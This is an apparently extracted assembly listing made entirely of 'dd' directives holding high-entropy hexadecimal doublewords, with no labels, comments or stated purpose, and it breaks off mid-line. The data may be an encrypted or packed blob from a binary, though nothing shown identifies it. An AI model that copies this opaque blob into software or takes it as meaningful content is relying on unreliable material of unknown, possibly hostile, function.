dd 0CB677D04h, 23167B1Eh, 6482B799h, 5F01DF7Eh, 89DEF758h dd 9B4E2F6Ch, 8AAE0266h, 31E553FEh, 21E4F5h, 9146FF2h dd 70890F10h, 0CDD2CE5Eh, 0FFE2DD03h, 5D25A059h, 6F78B2B0h dd 85A581C6h, 0EAEB0597h, 0AB140148h, 0B4006BE3h, 3070B53Bh dd 5D25E9E5h, 0D94C7590h, 0DFEF0DD2h, 5F2760C0h, 90D93159h dd 0E908C73Ch, 2F8F5C30h, 3FCCA14Eh, 1E29E96h, 8A5AE42Dh dd 840D7D2Eh, 0B8AEAE95h, 9770F616h, 0E9F0A774h, 5DA7B771h dd 491E1FD1h, 25696A7h, 70788C9Ch, 0BD682F8Ch, 566944E6h dd 0E7297555h, 0E00E1204h, 30395BC7h, 8F730FEh, 1D885166h dd 1ED1F6F9h, 16682ACFh, 8FE8602h, 542DB558h, 0FC081386h dd 1DB7E19Bh, 0EAC19993h, 0E6F553h, 0DCE95605h, 44F5BACDh dd 3D3C75E1h, 0CACA8813h, 0DBE84FF4h, 0F256662Fh, 0BFB31C3Eh dd 0E95AF302h, 123C7C79h, 0E31A0945h, 0D7C80256h, 14DE0689h dd 0C836B71h, 90AF6304h, 7596885h, 6EA0C862h, 0B05001C4h dd 64096ED4h, 645BA55Fh, 0E1028F09h, 803B512Ch, 15722BE6h dd 0BC7B931h, 0BC2AF931h, 4BFA4D4h, 9B5D7F3h, 2E87E5Eh dd 304E7DEDh, 77E7E40Fh, 0ADCDF690h, 3A52534h, 70E92774h dd 0F80F508Ah, 2091B0D8h, 7695AFC6h, 0BDF03CEFh, 78DC29E2h dd 678AE9F0h, 7EEE7184h, 898E85A2h, 0CD81E0F5h, 41EEB561h dd 338796B5h, 0AC44BB08h, 59F078B2h, 73A0B905h, 92000B29h dd 1BF6411Eh, 23C73981h, 0B1F53D16h, 0D7C56E6Dh, 0A8BFB398h dd 3897C777h, 10E7C4E9h, 0B0FA6546h, 0F405BDD0h, 311D1A0Ch dd 0ABD384BEh, 0E9CE8AFCh, 0BBD13349h, 98BF5C16h, 4B398336h dd 75B14ABBh, 12055220h, 0A3E6EEE9h, 0B850805Fh, 22F1C5Fh dd 82522D31h, 0F8410621h, 0F48E7A1Ah, 9BC5E7Eh, 9775C41h dd 0CDFD0090h, 0B557F048h, 0CB0630C0h, 0E9122079h, 75EBBD6Ch dd 0A0AA1607h, 0C74BFE4Fh, 0AAF24EF4h, 31EA82B2h, 5DF0E97Ah dd 0AC780DF5h, 78720502h, 885F56A2h, 5E0207B3h, 66605368h dd 0EAD6D614h, 0F531A349h, 4C4CFF2Ch, 35EF995Bh, 1053FCF3h dd 4032278Ch, 0C70A48B4h, 177C008h, 370A4B25h, 958B606Eh dd 52EF91D6h, 5031B3BDh, 0D6BD4A5Dh, 8E512F27h, 0DE983E8Bh dd 0D1487897h, 200AC697h, 0B90432B2h, 469B2150h, 0BC7F12EAh dd 810D60CFh, 0F8926F1h, 0CB096D2Dh, 0BEEB0CA4h, 0A8058A4Ah dd 42E857A5h, 1B10EAEDh dd 1D054D52h, 0C0079C20h, 83A6DEE6h, 7204465Eh, 491D7D6Ch dd 73687549h, 195C449Dh, 0CB0A7C89h, 86413D1Bh, 0F0B9B10h dd 0E1FE2785h, 0E2D95E25h, 3297BB6h, 3FA76345h, 8693DF99h dd 38C3F13Dh, 7D4787C3h, 0BD92519Fh, 525F175Fh, 121D76A4h dd 868BB54h, 8B05A2D6h, 0F9A45EDEh, 6B3860FBh, 53A568D1h dd 996065B6h, 0B25A657Dh, 9752338Dh, 2F1C275h, 0F3AC9AD0h dd 34447F17h, 0F238B30Fh, 3AA63D21h, 1CC20820h, 5F045320h dd 0BC6281D9h, 16CE7DE8h, 7B749A3Dh, 594CD97h, 0A70CCEE9h dd 61BA5FB7h, 1574762Fh, 0A550E0BEh, 580E1C14h, 18C30FD6h dd 0C12985DFh, 7D08E410h, 4FC5015Ah, 0F3C61CE9h, 0EB5A75DFh dd 1016C0ACh, 0E9F8C821h, 5AD1D220h, 0AB1CC55Dh, 1F82A195h dd 3582F524h, 68010282h, 762665B4h, 16CC6D10h, 1602D6F7h dd 0E27FFEF9h, 0DB4CDF75h, 52B9E29Dh, 3C2C6209h, 1657C284h dd 8B6997B1h, 46B1C734h, 0E5F16101h, 5E5C02DFh, 0AE066B95h dd 6658463Ah, 0A57F3C88h, 89CF7EC7h, 0C6D507EDh, 0BCC506ABh dd 1867A722h, 0A641B209h, 884EFE68h, 7427BF20h, 0D9D57A8Ch dd 680B3AC7h, 797E5121h, 0DBB46742h, 0C0830AEEh, 5BD308FDh dd 687EB001h, 8C3E1DEAh, 1640AC15h, 5DF806BDh, 902945D1h dd 678E86C1h, 42E17E30h, 245E926Eh, 15571EDDh, 0D55A70E9h dd 95280317h, 2674F109h, 0E378506Dh, 3D066916h, 52F88000h dd 2DE90B8Ch, 0CF1214E4h, 24304455h, 5A717329h, 89CC717Fh dd 0DE43E5E9h, 2AA319A9h, 315002E7h, 8C65B65Fh, 5E22E599h dd 98D28ED0h, 66586FDAh, 1FF37ECEh, 0F62D7A7Fh, 2090F80Bh dd 5EB5C4FCh, 31F769D9h, 0EA693244h, 0F81DC603h, 88D9962Dh dd 0DA617EADh, 0B66B6B82h, 184B7A4Ah, 2B944CCh, 20D80287h dd 0F8F5E9D1h, 0B19C2720h, 0F0D7D6AFh, 0FE015B41h, 80D2F6CAh dd 916E7FEAh, 2298E86h, 7A3C5D5Fh, 1558DAC8h, 9A1765B9h dd 0B9C4D7A1h, 0B624CF82h, 7F0D8909h, 5FCBB764h, 0DDEBB954h dd 43728D40h, 0CD50E216h, 2C3679C4h, 0D9F70B66h, 0D8005D41h dd 372F84F6h, 59CA2912h, 11E6E4B4h, 4A6AFB43h, 0A95B8DE7h dd 6E04D66Ch, 0ADF4C2B8h, 11725D0Ch, 0F180C900h, 64B551CCh dd 4D7CDF0h, 0C5E5F26h, 0EFA7DE0h, 0FB9A69E8h, 0B6E94216h dd 5560C0E1h, 91583DC8h, 0E5DD941Ah, 0E8A900F7h, 9DD8F706h dd 0FAA0557Ch, 35131A4Ah, 6880E5F2h, 22C96EF5h, 0A588C8B6h dd 402412h, 0E1FB5E3Dh, 8FB0FA89h, 0D49F3492h, 6E50D945h dd 8588BB8Ah, 0E718088h, 0E1C3FAB1h, 0BF9FD094h, 139434AAh dd 0E0661243h, 0ED4CB699h, 88845ED6h, 0CADFDDA2h, 0C2CC6DC5h dd 965BC828h, 82A12C09h, 941C25Ch, 0B90C62DEh, 40784358h dd 0C505FE2Eh, 0A98E8D0Fh, 5D8B0842h, 0F78A0396h, 0B62DBBAh dd 70BFDF78h, 0F8E5BD09h, 2C607F9Eh, 0FF170Dh, 4B40353Ch dd 8DFE06EDh, 9385A4BAh, 5202D7A2h, 0CF1890BAh, 25DAFF2Fh dd 0CC206B00h, 81E3D16Ah, 3037E6F3h, 310C5D40h, 8812D877h dd 35ADDF01h, 0A8A2BA92h, 6A454492h, 585B00ECh, 9366BC68h dd 398F05FFh, 77C704B6h, 0C9570F64h, 832D04CFh, 0B59F7388h dd 0E5808601h, 0F0C5CCC7h, 4C206F92h, 30DDFBCEh, 0BD45F5F4h dd 886F9822h, 7079E548h, 5A81DC9Dh, 26F1C389h, 0C6D08365h dd 5E7492BBh, 4E11BDB1h, 0B0E93081h, 65EE1E3Eh, 7B58B17Ch dd 2AD49FE0h, 9516B3CAh, 52BD6CD0h, 2A53E2Eh, 0F1502A27h dd 6B099599h, 0E7EEFDFCh, 5C898E2Dh, 2E74A7Ah, 563E0ACDh dd 6C1B71D7h, 0AC404D34h, 28DCEDF7h, 65DB9763h, 82BD9516h dd 1955E101h, 61493E0Dh, 5E9F2875h, 0B98574AAh, 0A0EC841Ch dd 23018B06h, 790FBC80h, 98DA8780h, 0C06E20E1h, 0A0ED685Ah dd 0EFCA4F7Ah, 29630A40h, 90452206h, 0FAF84E69h, 758B5439h dd 885F9145h, 0FBC20D04h, 0CB255F09h, 7DC0A84Ah, 9E7FE998h dd 5B21DE5Dh, 7794AFA8h, 15106900h, 5568527Bh, 72B3224Ah dd 4A617E05h, 4FC4621Bh, 2179E60h, 0BB99C9C4h, 51EA4D91h dd 34D7CACCh, 0BF04C2FEh, 0C04A4EF6h, 8E4A626Dh, 0EE550732h dd 0B749CE4Ch, 0D3BDA5F0h, 29EA00EDh, 0E91A9E3Ch, 0D0B9115Bh dd 0EAD3D02Dh, 21AAA812h, 787D4Bh, 95551D68h, 0CE0032FBh dd 0BB03A51Fh, 2E5B00ABh, 0E9FB313Eh, 93973D25h, 0DAE8C149h dd 0EE7D7C2h, 109E6427h, 4EBA06E9h, 1ED6F8C1h, 0BAC2C99Ah dd 0CB4215Eh, 43582DBDh, 0DC6FA400h, 53D66807h, 0FD25BBACh dd 5583115Ah, 2543B0E4h, 257917BBh, 2548E560h, 7D3C9041h dd 0D8D081DBh, 8803B753h, 66CCCF80h, 0F6FEB052h, 0F0F7F4D6h dd 27EFFA5Ah, 82D7302Ah, 59837CDFh, 55561E3Ch, 2C01A272h dd 6F8F0F90h, 91A33FA6h, 0FD543815h, 5029CC03h, 0C4810B4h dd 9E2A2CBDh, 54AFB7A4h, 0E563722Ch, 0F546CEEAh, 38F7C9F1h dd 0A168826Fh, 0CF4D5F1Eh, 2CA5B2Dh, 203F2153h, 2DDC0460h dd 0C6ACD30h, 7CCA0205h, 0A4CE0066h, 506DA054h, 56043DB8h dd 52E94D84h, 0BA03A6ECh, 8C06801Ah, 72FCBBD2h, 0F205319h dd 0B7517543h, 0E8B46B4Eh, 0AB5BC9F4h, 0BFEFC176h, 0D9481CA5h dd 310B35D0h, 0F299A144h, 92D02D1h, 68E9651Bh, 0F39570D0h dd 0D71B3E3Dh, 0F08346DBh, 3CC937B9h, 8481935Bh, 978C1CF8h dd 0FD06BEC6h, 0C05F7EF6h, 52856FA2h, 7AB2ABADh, 0B15C4426h dd 5D476CCh, 0EC5C0AFh, 0ABC70EBh, 0B58CF825h, 0BC3771h dd 0DA0AE021h, 0B5A83CE9h, 26A4F1D4h, 0B4871817h, 44B93DE2h dd 25CDA1E7h, 0FB7F8988h, 0C1731724h, 4E706BB1h, 19E91667h dd 0A85BBC4Ch, 358438E9h, 34579D70h, 9CCC9D6Dh, 0FE5FFE27h dd 6CE4D058h, 0F4B97795h, 2DFB3C3Bh, 0BD4C705Ch, 4CDAE55Ch dd 68510916h, 0B4FD6547h, 80F3B544h, 0C21FE90Bh, 6C4E5D54h dd 0B212124Fh, 9106DA8h, 0B3C75EDBh, 0B3BA2B14h, 555FC993h dd 0B5940D6Eh, 9F8A8052h, 53A346h, 0FF336D35h, 0D38E0F59h dd 0D5266AB5h, 5A012DC8h, 8F915486h, 56EB2D88h, 0E6F0145Dh dd 9D5263C2h, 4B8274ABh, 7200C54h, 0E76B5990h, 0B0325766h dd 7FCBD474h, 0B2E97510h, 0BA164765h, 0EEB795EEh, 8E390991h dd 4D760562h, 0AD5FCF43h, 1FAF4B12h, 6E738A80h, 0DDF92A9h dd 43060376h, 81FAD7DAh, 0D0C2D58h, 0A4C45546h, 68E34004h dd 0B23A9225h, 0E79A40EDh, 647782C9h, 34662956h, 40B06EB8h dd 0D494E7EBh, 1936D525h, 0B9515F02h, 61E41CC0h, 173E6849h dd 0B6B452C8h, 525F04D4h, 8AAC98E9h, 2DA1E64Bh, 0AD8DD634h dd 0BE92F5D2h, 0D676816h, 5210DFCCh, 0BF7F0865h, 0A4C2AD20h dd 5960AE39h, 2726F196h, 0AB18D207h, 0FC5F0285h, 19877F55h dd 3C06B4C3h, 8F96D12Fh, 0E30607DCh, 0AECD591Ah, 0ADEB5E9Eh dd 0E29F0FD5h, 5FBBB551h, 0B3671574h, 0C1BE30B4h, 60EB28B3h dd 0D4400781h, 0DB58955Dh, 0F285714Eh, 7B50D0DAh, 276E1240h dd 0E9DFCC13h, 3E0A68E1h, 6F33130Fh, 1DC3EA25h, 99EBDCD4h dd 2C212E7Dh, 8C6F4B31h, 29433039h, 0BA101A4Ch, 67BB02A2h dd 0D526F671h, 0EF80EED8h, 8682D1ADh, 20671203h, 5A37CB41h dd 7CE4A133h, 4022BA00h, 0BB063596h, 0AEA89E8Eh, 81B32764h dd 0FB9499D5h, 0EB20843Ah, 0AC848CA3h, 0FA25BE57h, 2859C280h dd 817B0161h, 1C5144CDh, 9E7A905Dh, 7404AF4Ah, 2CFE140Ch dd 0CD52E99Eh, 0BB810EA2h, 98EE128Ah, 0FA6F7253h, 25CECB22h dd 0A5EF57FBh, 5456D583h dd 18A4AA9Eh, 0C07A0BB2h, 1B0A08EAh, 8A9E09A2h, 259A7469h dd 8D8630F7h, 31A2784Ah, 1742E59Eh, 0C493D175h, 2551A819h dd 0BA015E2Dh, 5A0BBDCAh, 0DAAB9DD4h, 54332002h, 406DD231h dd 52952DD3h, 6856156Fh, 0BB80C445h, 435F470Ch, 607AE916h dd 0F516C8E3h, 9E91FCB3h, 4F403616h, 0C55DD30Dh, 0EF609D20h dd 350A8B02h, 0C9C301D2h, 0C920E424h, 6BAAE918h, 0EFA2B532h dd 0F82FE0CDh, 0BDF78027h, 901C4E2Eh, 7AEC2019h, 0CB97595Ah dd 0F26AB830h, 0D901279Eh, 0F8C17931h, 854B4E49h, 796F88BAh dd 72A76B4Eh, 3C05C04Ch, 806DA826h, 47229142h, 6C800360h dd 0C129A94Dh, 4605A50Ch, 5FDF4259h, 829B4CF5h, 0A477580h dd 0FE95E90Bh, 0C6F5251Bh, 0F7B3E255h, 51368001h, 8074BB87h dd 3F04C83Dh, 953D12Ch, 0FEA3B050h, 22444C82h, 56015F02h dd 73405AC9h, 0FF13670Fh, 8CBF5826h, 0DBFF07Eh, 0B7C852F1h dd 0D3681396h, 0B0FA302Bh, 9B902865h, 6C2D667Eh, 0EFF19057h dd 47D19749h, 33EB5CC4h, 0A3022EA8h, 1F8C0F49h, 7F6A7256h dd 0E133F207h, 292CCC6Ah, 0E01770D2h, 0CF015A05h, 88FED7C5h dd 1A9F870Ch, 271744D5h, 0EDE57B28h, 0B02C4422h, 39C2108Ah dd 0B0B74697h, 0B57D4BFBh, 0CE36406Ah, 0EA325893h, 6A40B860h dd 409A6372h, 121EED0Bh, 0AC052D13h, 0BFE94F97h, 6886E04h dd 8257C0CDh, 0E2EBB50h, 48088329h, 0E7833E47h, 220213AFh dd 6BFC14D9h, 0AFD07FA8h, 0CE2DD04Ah, 73B7D13h, 0B4C6025Fh dd 600B2223h, 2F71414Bh, 0D0A6801h, 0CE590B89h, 69044B7Bh dd 0F3FE2D9Fh, 478FC25Bh, 306E7740h, 0B4EC854Fh, 0CAB1FBD2h dd 0E131F87Bh, 0FCFB67A2h, 2E328FBEh, 0B980338Bh, 21CD3403h dd 140EF281h, 0A461CE53h, 272BAF04h, 2CEEE875h, 51053852h dd 0D7FA624Ch, 15BF30A4h, 0D7955D7Bh, 61AE0BB0h, 0E1901E7Eh dd 0FB06B902h, 4AC9E908h, 0C68B5F6Eh, 0D62EFC24h, 803BC06Fh dd 0DFF602EFh, 0FF1A7968h, 0FC8EDC99h, 0E925F3EAh, 0DF05895Ch dd 0F149B5C5h, 0F5A6C2DFh, 0D807A9D7h, 43320F7Ch, 903D354Bh dd 742E0604h, 0B0C3C3Fh, 3AD23368h, 9319827Dh, 0A00A68BBh dd 0A414957Ah, 5A505D3Fh, 0CA30469Dh, 0AB9C602Dh, 0EE4F5AEFh dd 5E66094Ch, 383092B5h, 248269A4h, 0A6D2E0FFh, 6D942F5Dh dd 783A9F0h, 0E8B5577Dh, 0B5C7D55Eh, 8B6BBF5Eh, 89B5D164h dd 0D9601DE9h, 2A129DBEh, 59094C54h, 326F8111h, 443F7FE9h dd 0AF04EACDh, 5EE96C68h, 0EAAFD1C7h, 89EF1409h, 8CA7EC88h dd 665E21C6h, 0D4F6020Ah, 0E480CCFEh, 0D930C6E9h, 0A9E02ACDh dd 0DDF630A1h, 0E5C0C90Ah, 0ED07087Eh, 59EC3039h, 4904360Fh dd 0A99168Eh, 4FB83C20h, 0AB25BE83h, 0D8DEF90Ch, 0E3331DA4h dd 6DF68149h, 6AD59432h, 0D361D5A1h, 1334E33Bh, 0D3CA4764h dd 8E1C2C32h, 0E4C0FA48h, 5060365h, 0A918DEC2h, 4FE86481h dd 0B1749099h, 59F830BBh, 0AF40C7B0h, 0D6822D0Fh, 4E9793D0h dd 0C78B122Ah, 7BDBF25Ch, 0BB70F94Bh, 472F3C1h, 0D0E93097h dd 0B7B207BBh, 0B992CA07h, 865A77B1h, 20970D31h, 19C9D388h dd 61513134h, 0C8E95754h, 0D66B8F44h, 5A990B5Ah, 22684C8Ah dd 0FC5BFA46h, 315AA0CBh, 3A26A0C8h, 0E07DC986h, 3F3F0206h dd 12ACF758h, 0ABEC8E6Ah, 0D37EBC85h, 41F2CB46h, 6616DFF0h dd 670FF1F7h, 0B23BBF6Ah, 5851269Dh, 456213F7h, 98AB7Fh dd 0E90CA0EEh, 0D84B5A0Eh, 1E4128FDh, 96672AF8h, 72A94962h dd 55009B29h, 616B52D0h, 0A6E2315Ah, 5469746Fh, 27C916DDh dd 0A4A7B7E9h, 92F273DDh, 0E41B4Ch, 232C6035h, 13C5E0Dh dd 3A055B33h, 20483459h, 38BD61C0h, 622E68B4h, 0A65EAB38h dd 0ECADBC7Bh, 94C398B8h, 7F68843Eh, 1C12B377h, 0F7274DE1h dd 0CD9D0316h, 0B85013DAh, 61BF4AD4h, 8937BBB8h, 55549599h dd 0BA566230h, 24D561A8h, 5F921991h, 0C0BF290Bh, 97F8219Bh dd 2E9AC7Ch, 0AD3D87h, 0C95B890Dh, 0E8017C75h, 0F280E65h dd 1D244981h, 64927225h, 979B5652h, 7C9A5320h, 415E1E12h dd 0D78EA5E9h, 0EE341105h, 1035C554h, 5F3798AFh, 8408922Dh dd 0BF89CC48h, 8100E49Ah, 1A2417F2h, 5F4BE93Fh, 0F8FD076h dd 0C75EBA8Dh, 318446F2h, 0F78F37A8h, 1EB007C4h, 7068F378h dd 7282B981h, 0B5E4EE26h, 0DF65366Bh, 0F80F7DEAh, 33B60E40h dd 0F267B2E9h, 1E95E775h, 0D7B27D87h, 0A7147F8Dh, 2611F49Fh dd 0E4CB1722h, 7A796F3Fh, 3781255Eh, 1A80FD29h, 0F2BB585Dh dd 3358774Bh, 287E0F72h, 9CE98407h, 12839895h, 0D7BF3E9Eh dd 0A7B55826h, 49152FDDh, 7561E28Fh, 3437A294h, 73628587h dd 80A5A7A6h, 32F20BD7h, 561877A4h, 481DBDC6h, 0E6815333h dd 422D1144h, 10C0DD31h, 0D428ED0Ch, 3504415Eh, 0CE517D06h dd 0A7F9AC60h, 0EE58C69Fh, 9AFF8263h, 0AEAA814Bh, 55DE7B4Eh dd 880EE58h, 0C54E56E9h, 592AFFCh, 138BFBB7h, 5E17BCC6h dd 6F9B2DAEh, 0E9C550ECh, 0B97690BDh, 222D79C0h, 92417E3Ch dd 0E4C2A84Ch, 8EBE39C4h, 70BB5F16h, 0BBF5721h, 5E4A7F18h dd 257C87CEh, 75F02ECCh, 7CCADD27h, 0B4296FB1h, 772D27D4h dd 0E2FEBA14h, 7FF2964Eh, 5ABB5301h, 0FB6E4B45h, 73F61CE2h dd 2484776Eh, 59E64A77h, 0F55C482Dh, 0B148D6DEh, 0BE56D0B8h dd 0CA1E7C0Ah, 7803F42Eh, 42FAF11h, 654BFDCEh, 8A580466h dd 0AEA18F85h, 0BE89526Ah, 0C520D869h, 0F7544B26h, 89D996C1h dd 1410812Dh, 0DD552D62h, 0D6826229h, 0C3F1A1FCh, 0D1382B8Bh dd 9B840F2Ch, 0E5ED7198h, 5EF89412h, 0E967B4EAh, 8FB45B26h dd 0C809A8A0h, 445E401h, 0EDAA8929h, 5FB9C94Bh, 8000AC42h dd 0F8211F5h, 4ECF2924h, 0B6B00820h, 4EE501B7h, 3E71EED1h dd 8A2AE2D1h, 0C9C1DD2Fh, 165F6E9Dh, 7A541630h, 0F0BE5E2Ah dd 0E82568D9h, 883F596Dh, 0EC313B9Fh, 4C6FC195h, 81245A0h dd 3EE48A4Bh, 0BC724F2Ah, 6CA3C4ADh, 0BAE0570Fh, 1C016A54h dd 0AEAFBF01h, 0D7297B98h, 8BA2ED6Eh, 62E78544h, 931B0DD1h dd 5B54428Ah, 89501EA0h, 0D9F6D1CFh, 9C250249h, 41E87C7Dh dd 4CCBB89h, 0D60AF182h, 0C77F695Fh, 760D8CBDh, 0DCB7310Ah dd 29EF027Ah, 0F8406F69h, 0CA2E7937h, 0E1106C77h, 1283558h dd 2778EC25h, 5440CE69h, 2BBC309Fh, 5D545541h, 4EF78F7Eh dd 0EAB482ACh, 0B9580828h, 7FE9893Dh, 139E3CD8h, 2BF4425Ah dd 679F4E0h, 7755EB85h, 0CD121B98h, 72108B21h, 0F68A120Ch dd 48C5DFEEh, 0BEDA85A3h, 23E3FB90h, 383F4872h, 0F29361Eh dd 6262B876h, 40D6D8B2h, 0A405CF3Dh, 8089A704h, 0EEB2DE0h dd 5D5ADF77h, 0DE0B5FC1h, 921E3B7Fh, 0B92C67D0h, 3A8209BAh dd 0ED6AC07Dh, 2E803C89h, 8F48AF48h, 5F71E982h, 0C3800507h dd 3E01DEF4h, 0E2D158C1h, 86412833h, 257E3132h, 0F7184784h dd 6082C3E8h, 2E14637Bh, 9E134DABh, 7CBF20C1h, 5FFF8C55h dd 0BD3FA47h, 0F1CF23AAh, 0AB041350h, 7E40C24Eh, 4F97294Ch dd 30D57DF7h, 0B11A9B7Dh, 3CB8C0B7h, 16B35309h, 4285FDFEh dd 0A896C418h, 48680B14h, 0F9E9B038h, 0E956807Ch, 0DA70BA2Dh dd 16CEA8Eh, 0ECBE51D0h, 3EB499FCh, 0ED0276ACh, 3982AACh dd 80CA8FDh, 0BE31CF20h, 5FFD6199h, 5B9BB87Fh, 0D9ED60EAh dd 0E15BD6A0h, 7C31BDB9h, 2E565DEBh, 62AD95D1h, 0B7C14BA0h dd 4542EBE2h, 0E157E9CAh, 0D2202DCCh, 1C11B2AEh, 0EED2F792h dd 44D116FEh, 0EED33129h dd 0CE3D8899h, 0D03D8793h, 77442068h, 18101F48h, 890F1CE9h dd 0BDE6EECAh, 0D2945F09h, 28B5719Dh, 2498977Bh, 0C45FE95Ah dd 61406E32h, 48EE7BADh, 2F5BD631h, 66D04CBEh, 355EE460h dd 0B87D19C7h, 0F4132413h, 0CD09208h, 53384F40h, 505267DEh dd 7AB0C684h, 28CF1FC4h, 3B2D3AE2h, 0F627AE53h, 5F1F0262h dd 0D9DF6FDDh, 81CC2CAEh, 8366AF41h, 0A9FE50C3h, 26055542h dd 0C6CBE94Ah, 2E71B7BFh, 0E84C4A68h, 50CD4FF5h, 7674F480h dd 0E95D4A59h, 16E9C3FBh, 682A02AEh, 6C450296h, 0E307D7DBh dd 33950E3Bh, 0B1EBC5FBh, 3C9A2BCCh, 0E9DC8A02h, 0A2489920h dd 0D6825E58h, 3E240851h, 0A0B35827h, 2539B99Dh, 0B441103Ah dd 65A03AD1h, 8BFA0888h, 10B313Eh, 0CFCD05DDh, 0E6D9BF4Eh dd 580F8F10h, 0BA06A6DFh, 101FDB4Ah, 0CC4053B6h, 4E19BFA9h dd 1657CE31h, 3CEA97D6h, 0AD409254h, 5F6212BEh, 0AE8B045Ch dd 0DCB8AFEBh, 4AD2A9B4h, 0B83A1AD9h, 6858045Ah, 3DEA2837h dd 0CDDC3E24h, 48AB409Eh, 5550EECh, 0F10540ECh, 6C4AC07Bh dd 0F6A959F4h, 325897h, 7E763F3Fh, 88DA6011h, 3C860646h dd 4AB70958h, 0AA46C4FFh, 0D3E3B2ECh, 17731848h, 5E29635Fh dd 18B0E2D8h, 6072402Fh, 0DF2F8D0Fh, 0B00F17Bh, 2AC25F8Ch dd 0B21F355h, 5E93C706h, 173459E0h, 16744EB8h, 0E0489827h dd 9D8BE9ECh, 0B05F0062h, 827AFA2Ch, 0C98E20FFh, 765D2157h dd 25D0FF38h, 1A314BF3h, 0F05C25AFh, 1A1729C0h, 0BCD9983Bh dd 0FE5C16F3h, 426C5298h, 2E90D45h, 0E82F88D4h, 0E313DFF1h dd 575E30C2h, 5C92DF47h, 0C2E3E6ABh, 0DD7CF3E9h, 68381DE4h dd 98AA4BC6h, 7E444E4Fh, 0F3485E25h, 33E51756h, 0E9C79DFCh dd 0D7C4EB67h, 9095055Bh, 0B72525B6h, 197ECD8Bh, 5547E824h dd 2056D2D9h, 8100B8D6h, 5E75F5CDh, 28820F23h, 160C27A4h dd 48A3A16h, 1762074Ch, 4E4E6DF4h, 8948B98Bh, 67D4D056h dd 11BB18B7h, 0EE6C6B78h, 59B2F763h, 19B9BB80h, 1C5A6241h dd 0CB09FB81h, 0F3B09E7Ch, 4224075Ch, 6502222Bh, 0D51D8E7Fh dd 3C84F940h, 9FD00180h, 2D601874h, 6E216405h, 7D41C24h dd 0F2565A16h, 0E0DD948Ah, 9D7B52E9h, 0B426EFC4h, 1D6A00F1h dd 84333E0Fh, 12B8B2ECh, 98DBB2D2h, 6D15B8h, 2AB807E2h dd 3133A723h, 2B887394h, 0C39D0EB6h, 685BBDE6h, 824AB680h dd 0AC06F899h, 0ECD01709h, 2EB83050h, 880D75ECh, 4FF00E00h dd 3411CA05h, 2EF2F40Ah, 26C3693Dh, 29780062h, 0DF05D8F7h dd 0DA4E0CF2h, 0BC6A38E1h, 51E98383h, 0ED6F0391h, 15660F92h dd 842E8698h, 0D355E99Ah, 0DCF62AB8h, 607F9710h, 0AD5F2F16h dd 27417C54h, 2418DDEBh, 380227C6h, 0B5684458h, 8025797Bh dd 13F173C8h, 5D9CC609h, 28A89C2h, 0DCC0E0C1h, 0B3005005h dd 0EF811415h, 1E29162Bh, 39C7011Eh, 863B0851h, 6109225Ah dd 0DE171875h, 48805A60h, 400E7AE1h, 5713F6F8h, 481EFB07h dd 24EA54D6h, 0FD2CEB84h, 0B97237h, 2D7805B8h, 0F829463Dh dd 710746EBh, 50B1A4B5h, 0D84598AEh, 703CE919h, 73D8960Eh dd 0A6119F5Fh, 6D013B53h, 205BB050h, 8F6BA70h, 26B2E9D1h dd 1804B81Fh, 7B81220Eh, 5DC657Dh, 0C1E230E9h, 2879BD20h dd 0D126A90Ah, 0BF09CDEDh, 7A7CC136h, 0BB024368h, 3B5365A7h dd 16C5B340h, 0FC6DD92Ch, 4E76F003h, 4F180517h, 0AF7B0C07h dd 955834C8h, 5A2216FFh, 0A2D8A45Ah, 5591B40h, 4998ABB9h dd 6183EFA8h, 7709A7ACh, 7F4B4CD1h, 2EA5CF19h, 0B7E472AFh dd 0F92D2DF2h, 0EB15FF5Fh, 1DC92630h, 1B347605h, 0C1AE6BE9h dd 6B5A0AB1h, 0EC9252ECh, 0D800A48Ch, 35D85D67h, 0B58BA14Bh dd 0B87298D0h, 40C30CD4h, 5D0C7CD1h, 0B3C70812h, 0FE1C12BEh dd 0F204C0F2h, 0BE1E9723h, 7378EC30h, 4F6D1D21h, 6BECC1h dd 0DC0B9AC7h, 0F90B292Bh, 0FFF5A1E9h, 0E477563Ah, 1DE954Eh dd 0D1A54EEAh, 0EA29659Ch, 0EBD6EBB3h, 0EAD7B992h, 2DE577D9h dd 0D85E9E4h, 5E05288Ah, 46789068h, 833AFBD7h, 43B6CD4Eh dd 0A6B8B94Ah, 1B681726h, 0CAC66142h, 0BE5F01BCh, 14782D30h dd 0E9FE316Ch, 0E2F76A16h, 1C6F4203h, 0F80E6F04h, 3AFC922Ch dd 0FE65B5A0h, 3980C539h, 4FE599CAh, 0F5E4DA0Ch, 870BB7A8h dd 0C40857F6h, 4B428A1h, 6D6E220Bh, 0FAE6C4C1h, 9DA07224h dd 0F75C9556h, 7CCB898Ah, 2786D46Ah, 5F40738Ch, 8032EF03h dd 935E5C4Ah, 0CB09090Eh, 2F1CF85Dh, 0FD6E3427h, 454F9FF6h dd 5FB0A888h, 0CBCFD1F9h, 20900682h, 91F64AB5h, 0B8407FFDh dd 1CE1ED44h, 0F2CF4E89h, 7967C415h, 0EDB850EEh, 583DCC4Ah dd 673B1197h, 0AC665597h, 0CA5F3FE9h, 0C7A7B7BCh, 9C57EB11h dd 0A341202Dh, 0FDA08DA0h, 0FE13CD2Fh, 0E2632C61h, 0EA7468F9h dd 0A13EB5BBh, 4C85BF1Dh, 0F6E22795h, 927B10h, 0E1EA815Dh dd 4F0FDA72h, 0B3791052h, 3EAE0B68h, 0C3DCC02Dh, 57FD276Fh dd 63FE529Fh, 168EF3CEh, 0F2CEDA97h, 2159418h, 0EB80A2B2h dd 0A45079C0h, 0F6A8529Ah, 0FE12511Eh, 0E3215B1Fh, 52FE4h dd 0B0602A07h, 0E095294Fh, 5F015A12h, 0D064AC5Ch, 2F084111h dd 0E33EF7B5h, 87E90916h, 0CBFDF659h, 0D9B5BEF0h, 0A021EA34h dd 0F5C019Eh, 54E9EE51h, 29642E8Ch, 9FCAF8AFh, 7F3EC267h dd 21FF7B96h, 61A36F0Bh, 15A4CB96h, 1D82ABE9h, 0FFEDDAF6h dd 0E5B18007h, 4FC2BA30h, 69ADF0DCh, 0C600F929h, 1AE846F8h dd 0A40D7EBDh, 0EC85175Eh, 2D475ECCh, 0BF960BF6h, 19D7F288h dd 187E1327h, 829BC42Ah, 12167C9Dh, 4EB4C07Dh, 5128890Fh dd 5792432h, 72F68526h, 0BE148A97h, 98FF4B3Ch, 495F6860h dd 5C969E46h, 0C9FEB9B2h, 0DC0EA8D9h, 0CBAE1762h, 855525C8h dd 0DFF04177h, 59D6408Bh, 0C7E7D497h, 0B10CF553h, 5B5ED807h dd 61992E9Dh, 0DF3C88BDh, 2E664060h, 34DE038h, 